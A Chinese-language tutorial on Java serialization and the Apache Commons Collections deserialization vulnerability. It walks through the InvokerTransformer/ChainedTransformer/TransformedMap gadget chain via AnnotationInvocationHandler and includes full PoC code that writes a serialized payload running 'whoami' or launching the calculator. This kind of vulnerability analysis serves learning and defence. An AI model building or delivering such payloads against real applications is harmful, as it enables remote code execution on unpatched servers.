java序列化与反序列化 定义 序列化就是把对象的转换成字节流,便于保存在内存、文件、数据库中(即便于存储或传输)过程;反序列化即逆过程,又字节流还原成对象。
Java中api实现 序列化:java.io.ObjectOutputStream类的writeObject()方法可以实现序列化; 反序列化:java.io.ObjectInputStream类的readObject()方法用于实现反序列化。
将字符串对象“中国”进行序列化存储到本地“test.ser”文件,然后再通过反序列化进行恢复打印输出的样例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package serialize;import java.io.*;public class javaApiSerialize { public static void main (String args[]) throws Exception { String obj = "中国" ; FileOutputStream fos = new FileOutputStream("test.ser" ); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(obj); os.close(); System.out.println("序列化完成" ); FileInputStream fis = new FileInputStream("test.ser" ); ObjectInputStream ois = new ObjectInputStream(fis); System.out.println(ois); String obj2 = (String)ois.readObject(); System.out.println(obj2); ois.close(); } }
概念上根本原因 如果Java应用对用户的输入(序列化过的恶意数据),即不可信数据(如序列化过的命令执行代码)做了反序列化处理,产生的非预期对象的过程中可能带来任意代码执行。
Collections漏洞原因 序列化和反序列化函数本身不存在漏洞,而是Collections这个第三方基础库的设计功能过于丰富(设计缺陷),安全研究员在其反序列化过程中发现了可以利用Collections特殊接口通过java语言的反射机制调用任意函数,比如命令执行函数来执行命令。
漏洞形成基础知识 java反射机制 1 2 3 4 JAVA反射机制 JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。 Java反射机制主要提供了以下功能: 在运行时判断任意一个对象所属的类;在运行时构造任意一个类的对象;在运行时判断任意一个类所具有的成员变量和方法;在运行时调用任意一个对象的方法;生成动态代理。 java反射机制详解及Method.invoke解释:http://blog.csdn.net/mr_tim/article/details/51594717
被序列化和反序列化的类 1 2 实现Serializable和Externalizable接口的类的对象才能被序列化。 Serializable接口,只是一个标记接口,不包含任何的方法。如果我们想要序列化一个对象,首先要创建某些OutputStream(如FileOutputStream、ByteArrayOutputStream等),然后将这些OutputStream封装在一个ObjectOutputStream中。这时候,只需要调用writeObject()方法就可以将对象序列化,并将其发送给OutputStream(记住:对象的序列化是基于字节的,不能使用Reader和Writer等基于字符的层次结构)。而饭序列的过程(即将一个序列还原成为一个对象),需要将一个InputStream(如FileInputstream、ByteArrayInputStream等)封装在ObjectInputStream内,然后调用readObject()即可。
Collections漏洞分析 Collections介绍 由于对java序列化/反序列化的需求,开发过程中常使用一些公共库。
Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库。它包含有很多jar工具包如下图所示,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。
漏洞触发过程 既然是反序列化漏洞,而且我们已经知道反序列化漏洞形成的根本原因是构造一个恶意的序列化rce对象,让序列化rce在反序列化时进行命令执行。
宽泛解释:
漏洞发现者就在Collectios库中找到一个继承了Serializable接口的而且可以调用命令执行的类(InvokerTransformer),这时候InvokerTransformer创建出来的对象就是可以序列化的对象了,然后通过另外一个继承了Serializable接口的类(AnnotationInvocationHandler)去接收InvokerTransformer构造好的可序列化的任意代码执行对象,通过ObjectOutputStream将对象输出到文件payload。
因为这个payload是通过AnnotationInvocationHandler序列化的,当把payload发送到使用了低版本有漏洞的Collections的应用,ObjectInputStream方法会自动识别是使用了AnnotationInvocationHandler类序列化的对象,进而自动通过AnnotationInvocationHandler的readObject()函数对其进行反对其反序列化操作。
现在我们知道了谁可以构造代码执行,谁负责序列化和反序列化,那为什么会在反序列化时不是正常把命令执行代码反序列化成代码对象,而是执行了命令呢?这里面的触发链条和细节,我们在下面解释。
简化思路: AnnotationInvocationHandler重写的readObject()在反序列化时优先于原生的readObject()被调用,而重写的readObject()内部有修改Map变量值的操作,readObject()在反序列化时同时修改了变量值时,修改变量这一动作就会触发代码执行。
为什么修改变量会触发代码执行?
在TransformedMap是Collectios库把Map的一个封装实现,功能是通过TransformedMap.decorate()把一个Map对象转换成另外一个Map对象。
1 2 3 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
可以看到decorate函数传入的一个Map对象,Transformer类型的key,Transformer类型的value值。
Transformer是一个接口,其中定义的transform()函数用来将一个对象转换成另一个对象。代码如下:
1 2 3 public interface Transformer { public Object transform (Object input) ; }
当Map中的任意项的Key或者value被修改,相应的Transformer就会被调用。而这时漏洞的核心InvokerTransformer出现了,它继承了Transformer和Serializable接口,内部通过Java的反射机制可以调用任意函数,只需传入方法名、参数类型和参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public class InvokerTransformer implements Transformer , Serializable {... public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } } }
若通过它调用Runtime.getRuntime().exec()便可以执行命令,且因继承了Serializable也是易序列化的。重要的是多个Transformer能串联起来,形成ChainedTransformer,而ChainedTransformer正好可以承载Runtime.getRuntime().exec()。
1 2 3 4 5 6 7 8 9 10 11 12 13 public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new Object[] {"calc.exe" })}; Transformer transformedChain = new ChainedTransformer(transformers);
而上面我们讲到为什么修改Map值,触发代码执行,上面这里便是关键。 因为我们构造出了ChainedTransformer承载了
1 ((Runtime)Runtime.class.getMethod("getRuntime" ,null ).invoke(null ,null )).exec("calc.exe" );
而TransformedMap.decorate()可以把一个Map对象转换成另外一个Map对象,而decorate()的第3个参数传入的就是一个Transformer,我们构造的ChainedTransformer就可以作为第三个参数传入。
我们先随意定义一个Map对象叫做innerMap,通过TransformedMap.decorate()把它转换成另外一个Map对象,叫做outerMap,而decorate()传入的第三个参数就是我们构造好的ChainedTransformer任意代码触发链。这时候如果后面的操作修改了被转换出来的Map对象outerMap的值,就会触发ChainedTransformer内的一系列InvokerTransformer,造成代码执行。
下面是我们通过人为通过Map自己内部的方法修改元素的值来达到触发的目的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package serialize;import java.*;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;public class Map_Entry { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new Object[] {" /Applications/Calculator.app/Contents/MacOS/Calculator" })}; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value" , "value" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformedChain); Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("foobar" ); } }
所以到这里,我们再回头看一下宽泛解释 ,我们要通过反序列化去自动触发RCE,而不是人为通过Map方法修改Map值触发,所以找到AnnotationInvocationHandler,它的readObject()函数,函数内对memberValues所有的值都有setValue操作,自动触发Transformer构造的rce链。
AnnotationInvocationHandler类继承InvocationHandler和Serializable:
1 2 3 4 5 6 7 8 9 class AnnotationInvocationHandler implements InvocationHandler , Serializable { private final Class<? extends Annotation> type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { this .type = type; this .memberValues = memberValues; } ...
AnnotationInvocationHandler的readObject()函数内对memberValues的操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { return ; } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
AnnotationInvocationHandler序列化构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 package serialize;import java.io.File;import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;import java.util.Map.Entry;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;public class Poc { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod" , new Class[] {String.class, Class[].class }, new Object[] {"getRuntime" , new Class[0 ] } ), new InvokerTransformer( "invoke" , new Class[] {Object.class,Object[].class }, new Object[] {null , null } ), new InvokerTransformer( "exec" , new Class[] {String[].class }, new Object[] { "whoami > /tmp/poc" } ) }; Transformer transformedChain = new ChainedTransformer(transformers); Map<String,String> BeforeTransformerMap = new HashMap<String,String>(); BeforeTransformerMap.put("hello" , "hello" ); Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null , transformedChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true ); Object instance = ctor.newInstance(Target.class, AfterTransformerMap); File f = new File("/tmp/payload.bin" ); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); } }
java反序列化漏洞触发链(Collections)